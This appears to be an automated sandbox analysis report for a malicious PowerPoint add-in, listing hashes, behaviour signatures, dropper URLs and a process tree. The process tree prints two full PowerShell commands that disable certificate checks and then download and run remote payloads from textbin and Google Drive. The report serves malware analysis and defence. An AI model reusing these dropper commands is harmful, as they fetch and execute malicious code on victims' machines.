Analysis

  • max time kernel
    133s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-11-2024 16:06

General

  • Target

    ca57e4060a2afea98eaca795548668cef05e15c0f3a731c1ddc1aac7562abbd1.ppam

  • Size

    7KB

  • MD5

    d9261e8c36689bfd3facc18f17910dc1

  • SHA1

    ca0b6f093448082a736cc3ea3badf5adeea3ab4e

  • SHA256

    ca57e4060a2afea98eaca795548668cef05e15c0f3a731c1ddc1aac7562abbd1

  • SHA512

    292a0da0b19e6f8950957804ea6cf6a98da954fbc78995481143ac8570793d77a204f732e5b514a503022ac1a1fdc51ad5190478db3f4244271ba2860165a36a

  • SSDEEP

    192:xrXP/aKv8DGxzU0AGgMBnUI0JTuayR1NWO:dXPJxltL9UI0JyayRh

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=15ocCLsR2ZmidPwSBKFMdpMbEhO5YtYQ4

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://pt.textbin.net/download/x7sf6t2dgv

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\ca57e4060a2afea98eaca795548668cef05e15c0f3a731c1ddc1aac7562abbd1.ppam" /ou ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4324
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command $UmniN;[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;$uNTnd = (New-Object Net.WebClient) ;$uNTnd.Encoding = [System.Text.Encoding]::UTF8 ;$UmniN = $uNTnd.DownloadString( 'https://pt.textbin.net/download/x7sf6t2dgv' ) ;$uNTnd = $uNTnd.DownloadString( $UmniN ) ;$x = [System.IO.Path]::GetTempPath() ;Set-Location $x ;$uNTnd | Out-File -FilePath x.js -force ;wscript.exe x.js ; exit
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:536
      • C:\Windows\system32\wscript.exe
        "C:\Windows\system32\wscript.exe" x.js
        3⤵
          PID:1460
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;$uNTnd = (New-Object Net.WebClient) ;$uNTnd.Encoding = [System.Text.Encoding]::UTF8 ;$uNTnd.DownloadFile( 'https://drive.google.com/uc?export=download&id=15ocCLsR2ZmidPwSBKFMdpMbEhO5YtYQ4', [System.IO.Path]::GetTempPath() + 'x.pptx' ) ;$x = [System.IO.Path]::GetTempPath() ;Set-Location $x ;start x.pptx ; exit
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:920

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      556084f2c6d459c116a69d6fedcc4105

      SHA1

      633e89b9a1e77942d822d14de6708430a3944dbc

      SHA256

      88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

      SHA512

      0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      435B

      MD5

      31c6755b2193d075bb2bdc4c409da9c2

      SHA1

      3c0fdc6ea3d20cf32224dd63510a6f621308aef8

      SHA256

      994b55d8a171b354901ec8bb9bd032f509f39b0a932a0021c9653bbc692e6b45

      SHA512

      3bd2f293782416343b11ebd004cc1ec1b0c8c004d6b426c0138cbf87aae229a1a1e199f2ccc97e91a1229ed83c66d3dac5fa17f2a07262b8a79701f1ac5d0295

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ek45dmua.dbn.psm1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\x.js

      Filesize

      1KB

      MD5

      445d124223ce3f0e08a0ae4058c43785

      SHA1

      f86d49541baa26af050371595a0ae86eeb1a9944

      SHA256

      e7aaad63724fe31051a2321cdb30e760bbfabb4f6cc2606a41fa1c18719ce87b

      SHA512

      07bd5136ea8d1f1933ed3b96fa724ad65a70a0cf74f2162cff9d3689d5facee84e081036ac71eacf3569c8dfb53c103acedcca0f11f7914630494edbb371ce13

    • memory/536-26-0x00000152FB7F0000-0x00000152FB812000-memory.dmp

      Filesize

      136KB

    • memory/4324-7-0x00007FFD1E3B0000-0x00007FFD1E3C0000-memory.dmp

      Filesize

      64KB

    • memory/4324-22-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

      Filesize

      2.0MB

    • memory/4324-8-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

      Filesize

      2.0MB

    • memory/4324-10-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

      Filesize

      2.0MB

    • memory/4324-9-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

      Filesize

      2.0MB

    • memory/4324-4-0x00007FFD1E3B0000-0x00007FFD1E3C0000-memory.dmp

      Filesize

      64KB

    • memory/4324-11-0x00007FFD1C0E0000-0x00007FFD1C0F0000-memory.dmp

      Filesize

      64KB

    • memory/4324-12-0x00007FFD1C0E0000-0x00007FFD1C0F0000-memory.dmp

      Filesize

      64KB

    • memory/4324-23-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

      Filesize

      2.0MB

    • memory/4324-0-0x00007FFD1E3B0000-0x00007FFD1E3C0000-memory.dmp

      Filesize

      64KB

    • memory/4324-6-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

      Filesize

      2.0MB

    • memory/4324-5-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

      Filesize

      2.0MB

    • memory/4324-2-0x00007FFD1E3B0000-0x00007FFD1E3C0000-memory.dmp

      Filesize

      64KB

    • memory/4324-3-0x00007FFD1E3B0000-0x00007FFD1E3C0000-memory.dmp

      Filesize

      64KB

    • memory/4324-1-0x00007FFD5E3CD000-0x00007FFD5E3CE000-memory.dmp

      Filesize

      4KB

    • memory/4324-59-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

      Filesize

      2.0MB

    • memory/4324-60-0x00007FFD5E3CD000-0x00007FFD5E3CE000-memory.dmp

      Filesize

      4KB

    • memory/4324-61-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

      Filesize

      2.0MB

    • memory/4324-62-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

      Filesize

      2.0MB